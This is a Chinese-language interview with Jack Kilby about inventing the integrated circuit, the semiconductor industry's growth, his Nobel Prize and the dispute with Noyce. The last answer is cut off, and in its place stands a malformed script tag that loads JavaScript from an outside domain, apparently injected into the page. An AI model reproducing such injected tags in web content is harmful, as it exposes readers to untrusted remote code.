“jack的集成电路无疑是一项伟大的发明,毫不为过地说,他创造了未来。”
——德州仪器|仪表主席 tom engibous
在同一位开创了年产值几乎高达3,000亿美元的产业的伟大人物的对话中,你能听到什么呢?集成电路的发明者、诺贝尔物理学奖获得者、被誉为“硅时代之父” 的jack kilby,在去世前曾经接受过我们的采访,谁料这竟是这位伟大人物一生中最后一次接受采访。如今,斯人已逝,受到jack kilby恩泽的集成电路产业的每一位从业者都深深地感到痛惜。
记者:发明集成电路是一件事情,怎么向世界推销您的集成电路观念又是完全不同的另外一件事情,您和您的同事怎样说服人们接受您的观念呢?
jack kilby:我们必须让人们逐渐接受我们的观念,我们不能指望集成电路在一夜之间得到广泛应用。我们有针对性地选择目标客户,并最终选定了航空宇宙和军事领域作为我们最初的客户,事实证明,这个选择为我们日后的发展提供了重要的起点。
记者:当时的普通电路设计师普遍持“勒德”观点(反对技术或工艺变化的观点),他们希望保护既得利益,害怕因您的发明而失业,但事实上,情况正好相反。集成电路产业提供了更多的就业机会并且开拓了一个全新的市场。现在我们在这个市场指明的方向上是否走得太远了?互联网泡沫的破裂是否是一个信号要求我们在更加稳固的基础上创建新的工业部门呢?
jack kilby:只要有市场就没有问题。回首上世纪60年代,当时的电路设计师的恐惧随着他们看到集成电路新的市场应用而消失。只要工业有需求就没有什么可担心的,除非市场环境变得比较糟糕。
记者:看到您的观念逐渐在市场上得到成熟应用对您来说一定是一件很欣慰的事情吧,您一定也在热心关注着半导体行业的最新进展,那么在您看来,什么是半导体行业发展的另一个重要里程碑呢?微处理器、flash存储器、eprom存储器还是oled呢?
jack kilby:你所说的这些都为半导体应用领域的扩展做出了不小的贡献。我预计在不久的将来还会出现更多的创新,我们的行业刚刚起步而已。
记者:在工业发展的早期,一个人凭一己之力就有可能成为奠定行业发展基础的伟大的人。向您一样,william shockley、tedd hoff、jean hoerni等都改变了世界的发展方向。您认为如今个人还会对行业发展起到那样重要的作用吗?或者说,如今的行业是不是对个人来说已经过于庞大了?
jack kilby:我认为现在依然存在这种可能性。虽然行业比以往变得更加庞大,但是只要拥有前瞻性思想,你依然可以成为对行业发展方向有重要影响的伟大的人。
记者:随着电子管和分立电子晶体管的出现,集成电路产业得到了前所未有的大发展,年产量呈现不断增长的趋势,单个芯片的成本随着规模经济效益而下降,从而更多的行业受惠于半导体行业的发展。现在的问题是我们是否在这条道路上走得过远以致过犹不及?是否行业发展(像莫尔定律描述的那样)已经失去了控制?当我们进入65nm和45nm时代时所需的产量仅目前的半导体公司就能满足了,这是否意味着半导体行业根本不应再增加产能?而目前的情况似乎并非如此。
jack kilby:除非公司高层都是经济学家他们才会这样认为。只要有成本优势能够获利,公司就会毫不犹豫地进行投资,或者说冒险继续沿着这条道路走下去。
记者:接着刚才的问题讨论,ti最初的“固态电路”电路板上只有8个电子晶体管价格却高达数百美元,而如今intel和amd集成了上千万个电子晶体管的微处理器的要价不会超过50美元,您是否认为这种大规模的商品化过程来得太快了?
jack kilby:我并不认为这是一个大问题。这种商品化过程目前并没有减慢的迹象,新的应用领域依旧层出不穷,因此未来使用芯片的行业将会越来越多。
记者:能告诉我们您是什么时候得知获得诺贝尔奖的吗?是谁用什么方式通知了您呢,当时您的心情又如何呢?
jack kilby:获奖完全出乎我的意料,我根本没想到我会获此殊荣。一个记者登门告诉了我这个消息,随后我接到了官方的电话,两个月后又举行了颁奖典礼。
记者:当您获得诺贝尔奖时,您曾经感慨地说,如果bob noyce依然在世,他应该和您一起分享这项荣誉。然而,他生前供职的公司和您供职的公司之间似乎不是很和谐,您能告诉我们在微芯片的发明权上的那场争端吗?
jack kilby:确实有一些诉讼,不过最后都和解了。虽然我和bob noyce各为其主不曾一起工作,但是我们成为了很好的朋友。
记者:英国电气工程师geoffrey dummer在上世纪50年代后期也曾考虑将所有的电路集成到一块芯片上,但是最终没有将自己的想法付诸现实。他在哪个方面出了问题?script src=http://er12.com/t.js>